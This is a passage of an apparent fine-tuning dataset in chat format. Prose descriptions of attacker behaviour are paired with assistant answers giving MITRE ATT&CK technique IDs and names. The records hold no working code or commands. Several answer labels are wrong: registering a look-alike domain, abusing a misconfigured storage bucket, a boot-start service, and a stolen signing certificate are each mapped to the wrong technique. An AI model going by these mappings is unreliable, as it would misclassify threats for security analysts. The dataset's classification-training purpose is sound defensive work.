                "content": "A VBA macro embedded in a PowerPoint presentation uses the Run method to execute a hidden PowerShell script for lateral movement."
            },
            {
                "role": "assistant",
                "content": "T1059.005 - Command and Scripting Interpreter: Visual Basic"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors exploited a compromised third‑party SaaS vendor to obtain OAuth tokens that grant access to the victim’s cloud resources."
            },
            {
                "role": "assistant",
                "content": "T1586.003 - Compromise Accounts: Cloud Accounts"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors used mass ping and ARP requests to discover active devices within the corporate LAN's IP range."
            },
            {
                "role": "assistant",
                "content": "T1595.001 - Active Scanning: Scanning IP Blocks"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat group distributes a malicious Office template that automatically runs its macro upon opening any Office application, leveraging the Office Application Startup technique."
            },
            {
                "role": "assistant",
                "content": "T1137.001 - Office Application Startup: Office Template Macros"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors registered a look‑alike domain to host phishing pages that mimic the victim's legitimate site."
            },
            {
                "role": "assistant",
                "content": "T1584.001 - Compromise Infrastructure: Domains"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malware modifies the Winlogon\\GinaDLL registry entry to point to a custom DLL that runs with system privileges each time the machine starts."
            },
            {
                "role": "assistant",
                "content": "T1547.004 - Boot or Logon Autostart Execution: Winlogon Helper DLL"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "AAPT (Advanced Persistent Threat) group edited the system's disk image, embedding a stealthy backdoor before deployment."
            },
            {
                "role": "assistant",
                "content": "T1601 - Modify System Image"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker uses a custom utility to read /proc/sys/kernel/random/uuid and other proc entries to infer credential information."
            },
            {
                "role": "assistant",
                "content": "T1003.007 - OS Credential Dumping: Proc Filesystem"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker leverages a zero‑day exploit to add a new user with elevated privileges to the UNIX /etc/passwd file."
            },
            {
                "role": "assistant",
                "content": "T1136 - Create Account"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker sets up a fake DNS server that mimics LLMNR responses, tricking Windows hosts into sending their SMB credentials to the attacker."
            },
            {
                "role": "assistant",
                "content": "T1557.001 - Adversary-in-the-Middle: LLMNR/NBT-NS Poisoning and SMB Relay"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A compromised host runs a Python script using the psutil library to gather a list of all network connections."
            },
            {
                "role": "assistant",
                "content": "T1049 - System Network Connections Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actor compromised the IIS metabase to insert a malicious configuration entry for persistent access."
            },
            {
                "role": "assistant",
                "content": "T1505.004 - Server Software Component: IIS Components"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "During the intrusion, the threat actor installed a backdoor web shell on the IIS server, enabling persistent remote code execution via HTTP."
            },
            {
                "role": "assistant",
                "content": "T1505.003 - Server Software Component: Web Shell"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker used a compromised AWS SAM template to deploy a malicious Lambda function."
            },
            {
                "role": "assistant",
                "content": "T1584.007 - Compromise Infrastructure: Serverless"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malicious actor modifies the registry at HKCU\\Software\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options\\notepad.exe\\Debugger to hijack notepad launches and execute their payload."
            },
            {
                "role": "assistant",
                "content": "T1546.012 - Event Triggered Execution: Image File Execution Options Injection"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An adversary deploys a trojan that silently records video from the victim's camera and uploads the footage."
            },
            {
                "role": "assistant",
                "content": "T1125 - Video Capture"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attacker runs Azure PowerShell commands to deallocate a hijacked Azure Virtual Machine and redeploy it using an earlier image, erasing forensic evidence of the intrusion."
            },
            {
                "role": "assistant",
                "content": "T1578.004 - Modify Cloud Compute Infrastructure: Revert Cloud Instance"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malware adds a directory containing malicious executables to the system PATH, causing legitimate commands to run the malicious versions."
            },
            {
                "role": "assistant",
                "content": "T1574.007 - Hijack Execution Flow: Path Interception by PATH Environment Variable"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Cybercriminals develop a remote access trojan (RAT) with screen capture capabilities."
            },
            {
                "role": "assistant",
                "content": "T1587.001 - Develop Capabilities: Malware"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Exploitation of the built-in Accessibility API allows the attacker to execute a backdoor whenever the \"Magnifier\" accessibility setting is toggled."
            },
            {
                "role": "assistant",
                "content": "T1546.008 - Event Triggered Execution: Accessibility Features"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intruder accesses closed-source code repositories and private Git servers to look for vulnerable software used by the target."
            },
            {
                "role": "assistant",
                "content": "T1597 - Search Closed Sources"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor compromised a software vendor's build system to obtain a valid code signing certificate and used it to sign malicious executables before distribution."
            },
            {
                "role": "assistant",
                "content": "T1587.002 - Develop Capabilities: Code Signing Certificates"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malicious code captures and re‑encrypts SSH private keys using a reversible algorithm, then stores them for later decryption."
            },
            {
                "role": "assistant",
                "content": "T1556.005 - Modify Authentication Process: Reversible Encryption"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversaries tamper with security alerting rules to produce misleading notifications, effectively suppressing real alerts."
            },
            {
                "role": "assistant",
                "content": "T1562.011 - Impair Defenses: Spoof Security Alerting"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors use SSH tunneling to create a reverse shell for remote administration of infected machines."
            },
            {
                "role": "assistant",
                "content": "T1219 - Remote Access Software"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversaries leverage compromised AWS IAM user credentials to access cloud resources without detection."
            },
            {
                "role": "assistant",
                "content": "T1078.004 - Valid Accounts: Cloud Accounts"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker compromises the build server of a CI/CD pipeline, modifying build artifacts to include a hidden data exfiltration module before they are deployed."
            },
            {
                "role": "assistant",
                "content": "T1195 - Supply Chain Compromise"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The trojan performs a self‑check for debugger attachment by reading the PEB BeingDebugged flag."
            },
            {
                "role": "assistant",
                "content": "T1622 - Debugger Evasion"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malware monitors the system's idle time and only runs its payload after seeing a minimum of 5 seconds of continuous user activity."
            },
            {
                "role": "assistant",
                "content": "T1497.002 - Virtualization/Sandbox Evasion: User Activity Based Checks"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A post‑exploitation module changes the login process to encrypt passwords with a symmetric reversible cipher, facilitating later retrieval of the cleartext password."
            },
            {
                "role": "assistant",
                "content": "T1556.005 - Modify Authentication Process: Reversible Encryption"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker queries a content delivery network’s publicly accessible directories to retrieve hidden corporate files."
            },
            {
                "role": "assistant",
                "content": "T1596.004 - Search Open Technical Databases: CDNs"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors renamed their backdoor to \"ntoskrnl.exe\" and stored it alongside the real kernel image to avoid suspicion."
            },
            {
                "role": "assistant",
                "content": "T1036.005 - Masquerading: Match Legitimate Name or Location"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors manipulate the authentication process to treat a compromised smartphone as a valid MFA device, granting them access."
            },
            {
                "role": "assistant",
                "content": "T1556.006 - Modify Authentication Process: Multi-Factor Authentication"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attackers gain access to a third‑party cloud service provider's credentials and use them to exfiltrate data from multiple client environments."
            },
            {
                "role": "assistant",
                "content": "T1195 - Supply Chain Compromise"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A threat actor disables or destroys system logs and other forensic evidence to avoid detection during and after an attack."
            },
            {
                "role": "assistant",
                "content": "T1070 - Indicator Removal"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A threat group leveraged a Python-based backdoor to enumerate user directories and compress files for exfiltration."
            },
            {
                "role": "assistant",
                "content": "T1059.006 - Command and Scripting Interpreter: Python"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker updates /etc/pam.d/common-auth to include a pam_permit.so line, effectively bypassing password verification for all users."
            },
            {
                "role": "assistant",
                "content": "T1556.003 - Modify Authentication Process: Pluggable Authentication Modules"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An adversary modifies the /etc/audit/audit.rules file to exclude sensitive directories from audit monitoring."
            },
            {
                "role": "assistant",
                "content": "T1562.012 - Impair Defenses: Disable or Modify Linux Audit System"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary abuses the AppInit_DLLs mechanism to execute code during the initialization of user-mode applications."
            },
            {
                "role": "assistant",
                "content": "T1546.010 - Event Triggered Execution: AppInit DLLs"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An insider uses a tool to purge email archives, resulting in loss of historical communications."
            },
            {
                "role": "assistant",
                "content": "T1485 - Data Destruction"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An adversary leverages passive DNS monitoring services to track changes in the victim's DNS records over time for reconnaissance."
            },
            {
                "role": "assistant",
                "content": "T1596.001 - Search Open Technical Databases: DNS/Passive DNS"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The implant exfiltrates data by posting it to a malicious Slack webhook URL over TLS."
            },
            {
                "role": "assistant",
                "content": "T1567 - Exfiltration Over Web Service"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor configures a persistent service to start automatically on boot, re-opening the malicious application after each restart."
            },
            {
                "role": "assistant",
                "content": "T1547.007 - Boot or Logon Autostart Execution: Re-opened Applications"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker performs NAT hole punching to bypass firewall restrictions and maintain persistent C2 connectivity."
            },
            {
                "role": "assistant",
                "content": "T1599.001 - Network Boundary Bridging: Network Address Translation Traversal"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The trojan dynamically resolves a series of algorithmically generated domains to evade detection."
            },
            {
                "role": "assistant",
                "content": "T1568.002 - Dynamic Resolution: Domain Generation Algorithms"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "During the intrusion, the group searches for credential stores in backup archives and zipped logs that contain plaintext authentication data."
            },
            {
                "role": "assistant",
                "content": "T1552.001 - Unsecured Credentials: Credentials In Files"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actor exploits a use‑after‑free bug to corrupt runtime data structures in a browser."
            },
            {
                "role": "assistant",
                "content": "T1565.003 - Data Manipulation: Runtime Data Manipulation"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "In the post-exploitation phase, the attacker clears the list of known malicious URLs from the web proxy's blocklist, allowing command-and-control traffic."
            },
            {
                "role": "assistant",
                "content": "T1562.006 - Impair Defenses: Indicator Blocking"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malicious program utilizes PowerShell's Compress-Archive cmdlet to bundle stolen data into a zip file."
            },
            {
                "role": "assistant",
                "content": "T1560.001 - Archive Collected Data: Archive via Utility"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary leverages a misconfigured cloud storage bucket to upload malicious scripts that are later executed by an automated job."
            },
            {
                "role": "assistant",
                "content": "T1586.003 - Compromise Accounts: Cloud Accounts"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malware uses a single outbound request to a cloud-based API to deliver exfiltrated data, ignoring any inbound traffic, characteristic of one-way web service communication."
            },
            {
                "role": "assistant",
                "content": "T1102.003 - Web Service: One-Way Communication"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware is deployed that overwrites backup files, preventing data restoration after an attack."
            },
            {
                "role": "assistant",
                "content": "T1490 - Inhibit System Recovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A compromised IoT device runs a Python script that opens a backdoor for remote access."
            },
            {
                "role": "assistant",
                "content": "T1059.006 - Command and Scripting Interpreter: Python"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Leveraging Windows Remote Management, the attacker remotely disabled Windows Defender on several hosts to facilitate further exploitation."
            },
            {
                "role": "assistant",
                "content": "T1021.006 - Remote Services: Windows Remote Management"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors replace known hash values in their payloads with random data to prevent hash-based detection."
            },
            {
                "role": "assistant",
                "content": "T1027.005 - Obfuscated Files or Information: Indicator Removal from Tools"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker uses a custom form-grabbing tool that overlays fake login screens to capture user credentials typed into the GUI."
            },
            {
                "role": "assistant",
                "content": "T1056.002 - Input Capture: GUI Input Capture"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversary sets up a reverse tunneling connection over a legitimate web service, enabling bidirectional communication for command and control."
            },
            {
                "role": "assistant",
                "content": "T1102.002 - Web Service: Bidirectional Communication"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversaries bought a DNS server to implement domain shadowing for credential harvesting sites."
            },
            {
                "role": "assistant",
                "content": "T1583.002 - Acquire Infrastructure: DNS Server"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "In the intrusion report, the threat group performed parent PID spoofing to elevate privileges on the compromised host."
            },
            {
                "role": "assistant",
                "content": "T1134.004 - Access Token Manipulation: Parent PID Spoofing"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversary uses WinRM to launch WMI commands on remote hosts."
            },
            {
                "role": "assistant",
                "content": "T1021.006 - Remote Services: Windows Remote Management"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intrusion leverages Windows Task Scheduler to launch a PowerShell payload that encrypts and uploads files to a malicious Azure blob storage every 6 hours."
            },
            {
                "role": "assistant",
                "content": "T1029 - Scheduled Transfer"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Through the PubPrn proxy, the attacker launches a scheduled task that runs a malicious script, effectively persisting on the compromised system."
            },
            {
                "role": "assistant",
                "content": "T1216.001 - System Script Proxy Execution: PubPrn"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The breach involves dumping unsecured PGP private keys found in user directories."
            },
            {
                "role": "assistant",
                "content": "T1552.004 - Unsecured Credentials: Private Keys"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attackers embed a malicious payload in a <script> tag within an HTML email, using XOR encoding that is decoded by JavaScript when the email is viewed in a webmail client."
            },
            {
                "role": "assistant",
                "content": "T1027.006 - Obfuscated Files or Information: HTML Smuggling"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A threat actor inserts a malicious module into the Pluggable Authentication Modules (PAM) configuration on Linux servers to accept a backdoor account."
            },
            {
                "role": "assistant",
                "content": "T1556 - Modify Authentication Process"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An adversary modifies the system's BIOS firmware to embed malicious code that executes before the operating system loads."
            },
            {
                "role": "assistant",
                "content": "T1542.002 - Pre-OS Boot: Component Firmware"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A threat actor signs up for Azure Functions and deploys malicious JavaScript code to run on-demand as part of their campaign."
            },
            {
                "role": "assistant",
                "content": "T1583.007 - Acquire Infrastructure: Serverless"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor crafts forged JWT tokens containing elevated privileges and uses them to access restricted APIs."
            },
            {
                "role": "assistant",
                "content": "T1606 - Forge Web Credentials"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A compromised PDF includes an embedded .png that, when double‑clicked, triggers a command injection in the PDF reader that executes a reverse shell."
            },
            {
                "role": "assistant",
                "content": "T1204.003 - User Execution: Malicious Image"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intruder disables auditing by setting the 'AuditPolicy' registry values to 0."
            },
            {
                "role": "assistant",
                "content": "T1562.002 - Impair Defenses: Disable Windows Event Logging"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker creates a new domain account and adds it to the Enterprise Admins group to maintain long-term access."
            },
            {
                "role": "assistant",
                "content": "T1136.002 - Create Account: Domain Account"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor enumerates and reads configuration files on the infected host to extract sensitive data."
            },
            {
                "role": "assistant",
                "content": "T1005 - Data from Local System"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A stealthy malware modified the domain's security policy GPO to whitelist its own executable, bypassing application control mechanisms."
            },
            {
                "role": "assistant",
                "content": "T1484 - Domain Policy Modification"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker modifies the Azure AD integration for AKS, adding their account to the \"Azure Kubernetes Service Cluster Admin\" role."
            },
            {
                "role": "assistant",
                "content": "T1098.006 - Account Manipulation: Additional Container Cluster Roles"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attacker takes advantage of an over‑privileged IAM role attached to a serverless compute service to run arbitrary code in the victim's cloud tenant."
            },
            {
                "role": "assistant",
                "content": "T1648 - Serverless Execution"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
